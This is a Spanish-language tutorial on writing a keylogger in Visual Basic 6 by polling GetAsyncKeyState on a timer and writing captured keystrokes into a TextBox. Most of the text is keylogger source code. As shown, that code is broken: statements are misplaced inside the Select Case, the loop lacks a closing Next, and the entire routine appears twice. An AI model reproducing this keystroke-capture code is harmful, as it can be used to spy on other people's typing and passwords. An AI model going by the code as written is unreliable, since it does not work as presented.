- ¿Que es un keylogger y como trabaja?
- Conocimientos recomendados
- Comenzando con el manual
¿Que es un keylogger y como trabaja? :
Un keylogger (derivado del inglés: Key (Tecla) y Logger (Registrador); registrador de teclas) es un tipo de software que se encarga de registrar las pulsaciones que se realizan en el teclado, para memorizarlas en un fichero y/o enviarlas a través de internet.
Conocimientos recomendados :
Para poder desarollar lo que se mostrará en el manual se requiere conocimientos basicos de Visual Basic 6.0 y también saber que es un caracter ASCII http://es.wikipedia.org/wiki/ASCII
Comenzando con el manual :
Para comenzar voy a poner una tabla sobre las constantes basicas que ofrece Visual Basic para capturar las teclas.
Comencemos, primero abrimos un nuevo proyecto en visual basic seleccionando 'EXE estándar' :
Añadiremos '1 TextBox, 1 Timer y 2 CommandButtons', quedando algo asi :
Explicaré para que es cada control :
- TextBox = Aqui se mostrarán las teclas capturadas
- Timer(TM) = Se encargará de activar/desactivar el keylogger, cuando el keylogger está activo el timer estará verificando cada 10 milisegundos que tecla se ha pulsado, asi que hay que poner el intervalo en 10 milisegundos y en 'Enabled' = False
- 2 CommandButtons = Uno se usará para activar el keylogger y otro para desactivarlo.
Vamos a empezar con el codigo de fuente, el keylogger necesitará usar la api llamada 'GetAsyncKeyState' asi que la añadimos a la parte 'General' del codigo de fuente y nos dirigimos al timer, a partir de ahora iré poniendo comentarios en el mismo codigo de fuente :
Código:
Private Declare Function GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer
Private Sub TM_Timer()
Dim i as integer, x as integer '# Declaramos i y x como enteros
For i = 8 to 222 '# El bucle recorrerá desde el valor 8 hasta el 222
x = GetAsyncKeyState(i) '# Obtendrá la tecla que se situa en el entero i
Select case i '# Ahora recibiremos el valor del entero 'i' para interpretarlo depende del valor
'# que sea, primero usaremos las constantes basicas que nos da VB, nos podemos
'# ir fijando en la anterior lista que he puesto al principio
If x = -32767 Then '# Verificamos si se ha pulsado alguna tecla
Case vbKeyBack: Text1.Text = Text1.Text & " [Retroceso] " '# Recibimos la tecla y la interpretamos
Case vbKeyTab: Text1.Text = Text1.Text & " [Tabulador] "
Case vbKeyClear: Text1.Text = Text1.Text & " [Limpiar] "
Case vbKeyReturn: Text1.Text = Text1.Text & " [Enter] "
Case vbKeyShift: Text1.Text = Text1.Text & " [Mayúsculas] "
Case vbKeyControl: Text1.Text = Text1.Text & " [Control] "
Case vbKeyMenu: Text1.Text = Text1.Text & " [Menu] "
Case vbKeyPause: Text1.Text = Text1.Text & " [Pausa] "
Case vbKeyCapital: Text1.Text = Text1.Text & " [Bloq Mayus] "
Case vbKeyEscape: Text1.Text = Text1.Text & " [Escape] "
Case vbKeySpace: Text1.Text = Text1.Text & " [Espacio] "
Case vbKeyPageUp: Text1.Text = Text1.Text & " [RePag] "
Case vbKeyPageDown: Text1.Text = Text1.Text & " [AvPag] "
Case vbKeyEnd: Text1.Text = Text1.Text & " [Fin] "
Case vbKeyHome: Text1.Text = Text1.Text & " [Home] "
Case vbKeyLeft: Text1.Text = Text1.Text & " [Izquierda] "
Case vbKeyUp: Text1.Text = Text1.Text & " [Arriba] "
Case vbKeyRight: Text1.Text = Text1.Text & " [Derecha] "
Case vbKeyDown: Text1.Text = Text1.Text & " [Abajo] "
Case vbKeySelect: Text1.Text = Text1.Text & " [Select] "
Case vbKeyPrint: Text1.Text = Text1.Text & " [Captura] "
Case vbKeyExecute: Text1.Text = Text1.Text & " [Ejecutar] "
Case vbKeySnapshot: Text1.Text = Text1.Text & " [SnapShot] "
Case vbKeyInsert: Text1.Text = Text1.Text & " [Insertar] "
Case vbKeyDelete: Text1.Text = Text1.Text & " [Suprimir] "
Case vbKeyHelp: Text1.Text = Text1.Text & " [Ayuda] "
Case vbKey0: Text1.Text = Text1.Text & "0"
Case vbKey1: Text1.Text = Text1.Text & "1"
Case vbKey2: Text1.Text = Text1.Text & "2"
Case vbKey3: Text1.Text = Text1.Text & "3"
Case vbKey4: Text1.Text = Text1.Text & "4"
Case vbKey5: Text1.Text = Text1.Text & "5"
Case vbKey6: Text1.Text = Text1.Text & "6"
Case vbKey7: Text1.Text = Text1.Text & "7"
Case vbKey8: Text1.Text = Text1.Text & "8"
Case vbKey9: Text1.Text = Text1.Text & "9"
Case vbKeyA: Text1.Text = Text1.Text & "A"
Case vbKeyB: Text1.Text = Text1.Text & "B"
Case vbKeyC: Text1.Text = Text1.Text & "C"
Case vbKeyD: Text1.Text = Text1.Text & "D"
Case vbKeyE: Text1.Text = Text1.Text & "E"
Case vbKeyF: Text1.Text = Text1.Text & "F"
Case vbKeyG: Text1.Text = Text1.Text & "G"
Case vbKeyH: Text1.Text = Text1.Text & "H"
Case vbKeyI: Text1.Text = Text1.Text & "I"
Case vbKeyJ: Text1.Text = Text1.Text & "J"
Case vbKeyK: Text1.Text = Text1.Text & "K"
Case vbKeyL: Text1.Text = Text1.Text & "L"
Case vbKeyM: Text1.Text = Text1.Text & "M"
Case vbKeyN: Text1.Text = Text1.Text & "N"
Case vbKeyO: Text1.Text = Text1.Text & "O"
Case vbKeyP: Text1.Text = Text1.Text & "P"
Case vbKeyQ: Text1.Text = Text1.Text & "Q"
Case vbKeyR: Text1.Text = Text1.Text & "R"
Case vbKeyS: Text1.Text = Text1.Text & "S"
Case vbKeyT: Text1.Text = Text1.Text & "T"
Case vbKeyU: Text1.Text = Text1.Text & "U"
Case vbKeyV: Text1.Text = Text1.Text & "V"
Case vbKeyW: Text1.Text = Text1.Text & "W"
Case vbKeyX: Text1.Text = Text1.Text & "X"
Case vbKeyY: Text1.Text = Text1.Text & "Y"
Case vbKeyZ: Text1.Text = Text1.Text & "Z"
Case vbKeyNumpad0: Text1.Text = Text1.Text & "0"
Case vbKeyNumpad1: Text1.Text = Text1.Text & "1"
Case vbKeyNumpad2: Text1.Text = Text1.Text & "2"
Case vbKeyNumpad3: Text1.Text = Text1.Text & "3"
Case vbKeyNumpad4: Text1.Text = Text1.Text & "4"
Case vbKeyNumpad5: Text1.Text = Text1.Text & "5"
Case vbKeyNumpad6: Text1.Text = Text1.Text & "6"
Case vbKeyNumpad7: Text1.Text = Text1.Text & "7"
Case vbKeyNumpad8: Text1.Text = Text1.Text & "8"
Case vbKeyNumpad9: Text1.Text = Text1.Text & "9"
Case vbKeyMultiply: Text1.Text = Text1.Text & "*"
Case vbKeyAdd: Text1.Text = Text1.Text & "+"
Case vbKeySeparator: Text1.Text = Text1.Text & " [Intro] "
Case vbKeySubtract: Text1.Text = Text1.Text & "-"
Case vbKeyDecimal: Text1.Text = Text1.Text & "."
Case vbKeyDivide: Text1.Text = Text1.Text & "/"
Case vbKeyF1: Text1.Text = Text1.Text & "F1"
Case vbKeyF2: Text1.Text = Text1.Text & "F2"
Case vbKeyF3: Text1.Text = Text1.Text & "F3"
Case vbKeyF4: Text1.Text = Text1.Text & "F4"
Case vbKeyF5: Text1.Text = Text1.Text & "F5"
Case vbKeyF6: Text1.Text = Text1.Text & "F6"
Case vbKeyF7: Text1.Text = Text1.Text & "F7"
Case vbKeyF8: Text1.Text = Text1.Text & "F8"
Case vbKeyF9: Text1.Text = Text1.Text & "F9"
Case vbKeyF10: Text1.Text = Text1.Text & "F10"
Case vbKeyF11: Text1.Text = Text1.Text & "F11"
Case vbKeyF12: Text1.Text = Text1.Text & "F12"
Case vbKeyF13: Text1.Text = Text1.Text & "F13"
Case vbKeyF14: Text1.Text = Text1.Text & "F14"
Case vbKeyF15: Text1.Text = Text1.Text & "F15"
Case vbKeyF16: Text1.Text = Text1.Text & "F16"
Case vbKeyNumlock: Text1.Text = Text1.Text & " [NumLock] "
End Select
End if
End Sub
Private Sub TM_Timer()
Dim i as integer, x as integer '# Declaramos i y x como enteros
For i = 8 to 222 '# El bucle recorrerá desde el valor 8 hasta el 222
x = GetAsyncKeyState(i) '# Obtendrá la tecla que se situa en el entero i
Select case i '# Ahora recibiremos el valor del entero 'i' para interpretarlo depende del valor
'# que sea, primero usaremos las constantes basicas que nos da VB, nos podemos
'# ir fijando en la anterior lista que he puesto al principio
If x = -32767 Then '# Verificamos si se ha pulsado alguna tecla
Case vbKeyBack: Text1.Text = Text1.Text & " [Retroceso] " '# Recibimos la tecla y la interpretamos
Case vbKeyTab: Text1.Text = Text1.Text & " [Tabulador] "
Case vbKeyClear: Text1.Text = Text1.Text & " [Limpiar] "
Case vbKeyReturn: Text1.Text = Text1.Text & " [Enter] "
Case vbKeyShift: Text1.Text = Text1.Text & " [Mayúsculas] "
Case vbKeyControl: Text1.Text = Text1.Text & " [Control] "
Case vbKeyMenu: Text1.Text = Text1.Text & " [Menu] "
Case vbKeyPause: Text1.Text = Text1.Text & " [Pausa] "
Case vbKeyCapital: Text1.Text = Text1.Text & " [Bloq Mayus] "
Case vbKeyEscape: Text1.Text = Text1.Text & " [Escape] "
Case vbKeySpace: Text1.Text = Text1.Text & " [Espacio] "
Case vbKeyPageUp: Text1.Text = Text1.Text & " [RePag] "
Case vbKeyPageDown: Text1.Text = Text1.Text & " [AvPag] "
Case vbKeyEnd: Text1.Text = Text1.Text & " [Fin] "
Case vbKeyHome: Text1.Text = Text1.Text & " [Home] "
Case vbKeyLeft: Text1.Text = Text1.Text & " [Izquierda] "
Case vbKeyUp: Text1.Text = Text1.Text & " [Arriba] "
Case vbKeyRight: Text1.Text = Text1.Text & " [Derecha] "
Case vbKeyDown: Text1.Text = Text1.Text & " [Abajo] "
Case vbKeySelect: Text1.Text = Text1.Text & " [Select] "
Case vbKeyPrint: Text1.Text = Text1.Text & " [Captura] "
Case vbKeyExecute: Text1.Text = Text1.Text & " [Ejecutar] "
Case vbKeySnapshot: Text1.Text = Text1.Text & " [SnapShot] "
Case vbKeyInsert: Text1.Text = Text1.Text & " [Insertar] "
Case vbKeyDelete: Text1.Text = Text1.Text & " [Suprimir] "
Case vbKeyHelp: Text1.Text = Text1.Text & " [Ayuda] "
Case vbKey0: Text1.Text = Text1.Text & "0"
Case vbKey1: Text1.Text = Text1.Text & "1"
Case vbKey2: Text1.Text = Text1.Text & "2"
Case vbKey3: Text1.Text = Text1.Text & "3"
Case vbKey4: Text1.Text = Text1.Text & "4"
Case vbKey5: Text1.Text = Text1.Text & "5"
Case vbKey6: Text1.Text = Text1.Text & "6"
Case vbKey7: Text1.Text = Text1.Text & "7"
Case vbKey8: Text1.Text = Text1.Text & "8"
Case vbKey9: Text1.Text = Text1.Text & "9"
Case vbKeyA: Text1.Text = Text1.Text & "A"
Case vbKeyB: Text1.Text = Text1.Text & "B"
Case vbKeyC: Text1.Text = Text1.Text & "C"
Case vbKeyD: Text1.Text = Text1.Text & "D"
Case vbKeyE: Text1.Text = Text1.Text & "E"
Case vbKeyF: Text1.Text = Text1.Text & "F"
Case vbKeyG: Text1.Text = Text1.Text & "G"
Case vbKeyH: Text1.Text = Text1.Text & "H"
Case vbKeyI: Text1.Text = Text1.Text & "I"
Case vbKeyJ: Text1.Text = Text1.Text & "J"
Case vbKeyK: Text1.Text = Text1.Text & "K"
Case vbKeyL: Text1.Text = Text1.Text & "L"
Case vbKeyM: Text1.Text = Text1.Text & "M"
Case vbKeyN: Text1.Text = Text1.Text & "N"
Case vbKeyO: Text1.Text = Text1.Text & "O"
Case vbKeyP: Text1.Text = Text1.Text & "P"
Case vbKeyQ: Text1.Text = Text1.Text & "Q"
Case vbKeyR: Text1.Text = Text1.Text & "R"
Case vbKeyS: Text1.Text = Text1.Text & "S"
Case vbKeyT: Text1.Text = Text1.Text & "T"
Case vbKeyU: Text1.Text = Text1.Text & "U"
Case vbKeyV: Text1.Text = Text1.Text & "V"
Case vbKeyW: Text1.Text = Text1.Text & "W"
Case vbKeyX: Text1.Text = Text1.Text & "X"
Case vbKeyY: Text1.Text = Text1.Text & "Y"
Case vbKeyZ: Text1.Text = Text1.Text & "Z"
Case vbKeyNumpad0: Text1.Text = Text1.Text & "0"
Case vbKeyNumpad1: Text1.Text = Text1.Text & "1"
Case vbKeyNumpad2: Text1.Text = Text1.Text & "2"
Case vbKeyNumpad3: Text1.Text = Text1.Text & "3"
Case vbKeyNumpad4: Text1.Text = Text1.Text & "4"
Case vbKeyNumpad5: Text1.Text = Text1.Text & "5"
Case vbKeyNumpad6: Text1.Text = Text1.Text & "6"
Case vbKeyNumpad7: Text1.Text = Text1.Text & "7"
Case vbKeyNumpad8: Text1.Text = Text1.Text & "8"
Case vbKeyNumpad9: Text1.Text = Text1.Text & "9"
Case vbKeyMultiply: Text1.Text = Text1.Text & "*"
Case vbKeyAdd: Text1.Text = Text1.Text & "+"
Case vbKeySeparator: Text1.Text = Text1.Text & " [Intro] "
Case vbKeySubtract: Text1.Text = Text1.Text & "-"
Case vbKeyDecimal: Text1.Text = Text1.Text & "."
Case vbKeyDivide: Text1.Text = Text1.Text & "/"
Case vbKeyF1: Text1.Text = Text1.Text & "F1"
Case vbKeyF2: Text1.Text = Text1.Text & "F2"
Case vbKeyF3: Text1.Text = Text1.Text & "F3"
Case vbKeyF4: Text1.Text = Text1.Text & "F4"
Case vbKeyF5: Text1.Text = Text1.Text & "F5"
Case vbKeyF6: Text1.Text = Text1.Text & "F6"
Case vbKeyF7: Text1.Text = Text1.Text & "F7"
Case vbKeyF8: Text1.Text = Text1.Text & "F8"
Case vbKeyF9: Text1.Text = Text1.Text & "F9"
Case vbKeyF10: Text1.Text = Text1.Text & "F10"
Case vbKeyF11: Text1.Text = Text1.Text & "F11"
Case vbKeyF12: Text1.Text = Text1.Text & "F12"
Case vbKeyF13: Text1.Text = Text1.Text & "F13"
Case vbKeyF14: Text1.Text = Text1.Text & "F14"
Case vbKeyF15: Text1.Text = Text1.Text & "F15"
Case vbKeyF16: Text1.Text = Text1.Text & "F16"
Case vbKeyNumlock: Text1.Text = Text1.Text & " [NumLock] "
End Select
End if
End Sub
Vale ya tenemos las teclas basicas que nos facilito las constantes de visual basic, pero que pasa con todas las que faltan?, para las siguientes usaremos los carácteres ASCII ya que para esas teclas no hay constantes facilitadas. Para ello vamos a hacer un pequeño programa para poder saber que valor ASCII tiene cada una de las letras, vayamos a un nuevo proyecto 'EXE estándar' y añadimos '1 TextBox y 1 CommandButton', quedando algo así :
Ahora con la función 'Asc' podemos obtener el valor Ascii, miremos el codigo de fuente del 'CommandButton' :
Código:
Private Sub Command1_Click()
Text1.Text = Asc(Text1.Text)
End Sub
Text1.Text = Asc(Text1.Text)
End Sub
Bueno ahora el carácter que se escriba en el 'TextBox' se transformará en caracter Ascii solo pulsando el 'CommandButton', ahora solo nos queda agregar los carácteres que faltan al proyecto del keylogger de la siguiente manera :
Dentro del 'Select Case', como un 'Case' más :
Código:
Case 112: Text1.Text = Text1.Text & " [F1] " '# 112 es el valor ASCII de la tecla F1
Bueno aqui acabo el manual, espero que les sea de gran ayuda y que aprendan mucho, si quieren compartir este manual no olviden poner el respectivo autor.
Saludos!